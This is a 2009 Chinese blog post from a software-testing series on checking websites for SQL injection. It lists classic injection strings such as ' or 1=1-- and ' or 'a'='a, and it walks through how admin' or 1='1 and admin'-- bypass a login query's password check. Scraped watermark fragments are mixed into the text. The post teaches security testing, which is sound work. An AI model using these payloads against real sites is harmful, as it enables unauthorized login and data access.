安全性测试系列-如何对网站进行安全性测试
上一篇 / 下一篇 2009-12-25 17:49:21 / 个人分类:安全性测试
(1)如何进行SQL注入测试?
'gvcP`[SIW0
- 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
-T5Y X!dWW1c^0
<form. id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> |
注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
b~gF6S(Z]0
- 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
注1:根据实际情况,SQL注入请求可以使用以下语句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a 51Testing软件测试网)C;l1_zn'I 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11,SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11' '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行. 接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录. 如 输入http://duck/index.asp?username=admin'--&pwd=11,SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11', |